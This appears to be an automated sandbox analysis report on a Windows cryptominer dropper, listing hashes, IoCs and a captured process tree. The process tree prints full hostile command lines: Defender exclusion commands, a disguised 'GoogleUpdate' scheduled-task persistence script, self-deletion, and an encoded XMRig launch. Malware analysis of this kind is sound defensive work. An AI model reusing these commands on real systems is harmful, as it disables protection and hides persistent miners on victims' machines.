Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1446s -
max time network
1790s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
6vHkJ4UErTSS5ECD.exeupdater.execonhost.exedescription pid Process procid_target PID 2652 created 1208 2652 6vHkJ4UErTSS5ECD.exe 16 PID 2652 created 1208 2652 6vHkJ4UErTSS5ECD.exe 16 PID 2652 created 1208 2652 6vHkJ4UErTSS5ECD.exe 16 PID 2652 created 1208 2652 6vHkJ4UErTSS5ECD.exe 16 PID 440 created 1208 440 updater.exe 16 PID 440 created 1208 440 updater.exe 16 PID 440 created 1208 440 updater.exe 16 PID 440 created 1208 440 updater.exe 16 PID 1608 created 1208 1608 conhost.exe 16 PID 440 created 1208 440 updater.exe 16 -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral5/memory/2284-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral5/memory/2284-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid Process 2604 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid Process 440 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid Process 2868 taskeng.exe -
Processes:
resource yara_rule behavioral5/memory/2284-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral5/memory/2284-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid Process procid_target PID 440 set thread context of 1608 440 updater.exe 48 PID 440 set thread context of 2284 440 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
Processes:
6vHkJ4UErTSS5ECD.exeupdater.execmd.execmd.exedescription ioc Process File created C:\Program Files\Google\Chrome\updater.exe 6vHkJ4UErTSS5ECD.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid Process 2620 schtasks.exe 1628 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e02e529b9e51da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
6vHkJ4UErTSS5ECD.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid Process 2652 6vHkJ4UErTSS5ECD.exe 2652 6vHkJ4UErTSS5ECD.exe 2420 powershell.exe 2652 6vHkJ4UErTSS5ECD.exe 2652 6vHkJ4UErTSS5ECD.exe 2704 powershell.exe 2652 6vHkJ4UErTSS5ECD.exe 2652 6vHkJ4UErTSS5ECD.exe 2652 6vHkJ4UErTSS5ECD.exe 2652 6vHkJ4UErTSS5ECD.exe 2588 powershell.exe 440 updater.exe 440 updater.exe 1804 powershell.exe 440 updater.exe 440 updater.exe 1500 powershell.exe 440 updater.exe 440 updater.exe 440 updater.exe 440 updater.exe 1608 conhost.exe 1608 conhost.exe 440 updater.exe 440 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 472 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid Process Token: SeDebugPrivilege 2420 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe Token: SeDebugPrivilege 2588 powershell.exe Token: SeDebugPrivilege 1804 powershell.exe Token: SeDebugPrivilege 1500 powershell.exe Token: SeDebugPrivilege 440 updater.exe Token: SeAssignPrimaryTokenPrivilege 2180 WMIC.exe Token: SeIncreaseQuotaPrivilege 2180 WMIC.exe Token: SeSecurityPrivilege 2180 WMIC.exe Token: SeTakeOwnershipPrivilege 2180 WMIC.exe Token: SeLoadDriverPrivilege 2180 WMIC.exe Token: SeSystemtimePrivilege 2180 WMIC.exe Token: SeBackupPrivilege 2180 WMIC.exe Token: SeRestorePrivilege 2180 WMIC.exe Token: SeShutdownPrivilege 2180 WMIC.exe Token: SeSystemEnvironmentPrivilege 2180 WMIC.exe Token: SeUndockPrivilege 2180 WMIC.exe Token: SeManageVolumePrivilege 2180 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2180 WMIC.exe Token: SeIncreaseQuotaPrivilege 2180 WMIC.exe Token: SeSecurityPrivilege 2180 WMIC.exe Token: SeTakeOwnershipPrivilege 2180 WMIC.exe Token: SeLoadDriverPrivilege 2180 WMIC.exe Token: SeSystemtimePrivilege 2180 WMIC.exe Token: SeBackupPrivilege 2180 WMIC.exe Token: SeRestorePrivilege 2180 WMIC.exe Token: SeShutdownPrivilege 2180 WMIC.exe Token: SeSystemEnvironmentPrivilege 2180 WMIC.exe Token: SeUndockPrivilege 2180 WMIC.exe Token: SeManageVolumePrivilege 2180 WMIC.exe Token: SeLockMemoryPrivilege 2284 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid Process procid_target PID 2704 wrote to memory of 2620 2704 powershell.exe 32 PID 2704 wrote to memory of 2620 2704 powershell.exe 32 PID 2704 wrote to memory of 2620 2704 powershell.exe 32 PID 2604 wrote to memory of 2556 2604 cmd.exe 37 PID 2604 wrote to memory of 2556 2604 cmd.exe 37 PID 2604 wrote to memory of 2556 2604 cmd.exe 37 PID 2588 wrote to memory of 540 2588 powershell.exe 38 PID 2588 wrote to memory of 540 2588 powershell.exe 38 PID 2588 wrote to memory of 540 2588 powershell.exe 38 PID 2868 wrote to memory of 440 2868 taskeng.exe 40 PID 2868 wrote to memory of 440 2868 taskeng.exe 40 PID 2868 wrote to memory of 440 2868 taskeng.exe 40 PID 1500 wrote to memory of 1628 1500 powershell.exe 47 PID 1500 wrote to memory of 1628 1500 powershell.exe 47 PID 1500 wrote to memory of 1628 1500 powershell.exe 47 PID 440 wrote to memory of 1608 440 updater.exe 48 PID 1520 wrote to memory of 2180 1520 cmd.exe 53 PID 1520 wrote to memory of 2180 1520 cmd.exe 53 PID 1520 wrote to memory of 2180 1520 cmd.exe 53 PID 440 wrote to memory of 2284 440 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1208
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2652
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2620
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1804
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1628
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1608
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1756
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284
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C:\Windows\system32\taskeng.exetaskeng.exe {75763AF9-AD95-41E3-B181-47595FD2669B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:440
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5372d75dd853ca66c5f2bc00ab357aeb1
SHA17f29407bcf2057344599c764c1efa8539373997c
SHA2562b9bcab0843042d5a4adcdd1da18c22cb71895ec383be8cd22cf6c5044a54d41
SHA5125350db3e3c14912cdd11986b0bf486355c28b3a7686e7ba597d8ff1115913a4961d8b264340b1dfe930bb3687edd8c909cced29e3444d9fd1771567ecd139580
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6